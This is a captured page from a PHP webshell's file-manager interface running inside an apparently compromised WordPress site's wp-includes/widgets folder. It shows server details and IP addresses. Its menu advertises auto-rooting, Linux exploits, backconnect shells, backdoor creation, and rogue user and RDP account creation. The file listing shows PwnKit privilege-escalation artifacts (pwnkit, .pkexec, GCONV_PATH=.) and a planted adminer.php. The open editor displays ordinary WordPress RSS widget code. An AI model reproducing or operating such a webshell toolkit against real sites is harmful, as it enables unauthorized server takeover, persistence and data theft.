Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 13.59.141.124
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
public_html /
wp-includes /
widgets /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.htaccess
420
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
class-wp-nav-menu-widget.php
5.48
KB
-rwxr-xr-x
class-wp-widget-archives.php
5.88
KB
-rwxr-xr-x
class-wp-widget-calendar.php
2.8
KB
-rwxr-xr-x
class-wp-widget-categories.php
6.02
KB
-rwxr-xr-x
class-wp-widget-custom-html.ph...
11.86
KB
-rwxr-xr-x
class-wp-widget-links.php
7.06
KB
-rwxr-xr-x
class-wp-widget-media-audio.ph...
5.95
KB
-rwxr-xr-x
class-wp-widget-media-gallery....
7.13
KB
-rwxr-xr-x
class-wp-widget-media-image.ph...
11.71
KB
-rwxr-xr-x
class-wp-widget-media-video.ph...
8.23
KB
-rwxr-xr-x
class-wp-widget-media.php
13.71
KB
-rwxr-xr-x
class-wp-widget-meta.php
3.33
KB
-rwxr-xr-x
class-wp-widget-pages.php
4.88
KB
-rwxr-xr-x
class-wp-widget-recent-comment...
5.88
KB
-rwxr-xr-x
class-wp-widget-recent-posts.p...
5.1
KB
-rwxr-xr-x
class-wp-widget-rss.php
3.78
KB
-rwxr-xr-x
class-wp-widget-search.php
2.61
KB
-rw-r--r--
class-wp-widget-tag-cloud.php
5.69
KB
-rw-r--r--
class-wp-widget-text.php
20.78
KB
-rwxr-xr-x
error_log
42.32
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-widget-rss.php
<?php /** * Widget API: WP_Widget_RSS class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core class used to implement a RSS widget. * * @since 2.8.0 * * @see WP_Widget */ class WP_Widget_RSS extends WP_Widget { /** * Sets up a new RSS widget instance. * * @since 2.8.0 */ public function __construct() { $widget_ops = array( 'description' => __( 'Entries from any RSS or Atom feed.' ), 'customize_selective_refresh' => true, ); $control_ops = array( 'width' => 400, 'height' => 200, ); parent::__construct( 'rss', __( 'RSS' ), $widget_ops, $control_ops ); } /** * Outputs the content for the current RSS widget instance. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance Settings for the current RSS widget instance. */ public function widget( $args, $instance ) { if ( isset( $instance['error'] ) && $instance['error'] ) { return; } $url = ! empty( $instance['url'] ) ? $instance['url'] : ''; while ( stristr( $url, 'http' ) != $url ) { $url = substr( $url, 1 ); } if ( empty( $url ) ) { return; } // self-url destruction sequence if ( in_array( untrailingslashit( $url ), array( site_url(), home_url() ) ) ) { return; } $rss = fetch_feed( $url ); $title = $instance['title']; $desc = ''; $link = ''; if ( ! is_wp_error( $rss ) ) { $desc = esc_attr( strip_tags( html_entity_decode( $rss->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ) ) ); if ( empty( $title ) ) { $title = strip_tags( $rss->get_title() ); } $link = strip_tags( $rss->get_permalink() ); while ( stristr( $link, 'http' ) != $link ) { $link = substr( $link, 1 ); } } if ( empty( $title ) ) { $title = ! empty( $desc ) ? $desc : __( 'Unknown Feed' ); } /** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */ $title = apply_filters( 'widget_title', $title, $instance, $this->id_base ); $url = strip_tags( $url ); $icon = includes_url( 'images/rss.png' ); if ( $title ) { $title = '<a class="rsswidget" href="' . esc_url( $url ) . '"><img class="rss-widget-icon" style="border:0" width="14" height="14" src="' . esc_url( $icon ) . '" alt="RSS" /></a> <a class="rsswidget" href="' . esc_url( $link ) . '">' . esc_html( $title ) . '</a>'; } echo $args['before_widget']; if ( $title ) { echo $args['before_title'] . $title . $args['after_title']; } wp_widget_rss_output( $rss, $instance ); echo $args['after_widget']; if ( ! is_wp_error( $rss ) ) { $rss->__destruct(); } unset( $rss ); } /** * Handles updating settings for the current RSS widget instance. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Updated settings to save. */ public function update( $new_instance, $old_instance ) { $testurl = ( isset( $new_instance['url'] ) && ( ! isset( $old_instance['url'] ) || ( $new_instance['url'] != $old_instance['url'] ) ) ); return wp_widget_rss_process( $new_instance, $testurl ); } /** * Outputs the settings form for the RSS widget. * * @since 2.8.0 * * @param array $instance Current settings. */ public function form( $instance ) { if ( empty( $instance ) ) { $instance = array( 'title' => '', 'url' => '', 'items' => 10, 'error' => false, 'show_summary' => 0, 'show_author' => 0, 'show_date' => 0, ); } $instance['number'] = $this->number; wp_widget_rss_form( $instance ); } }
Close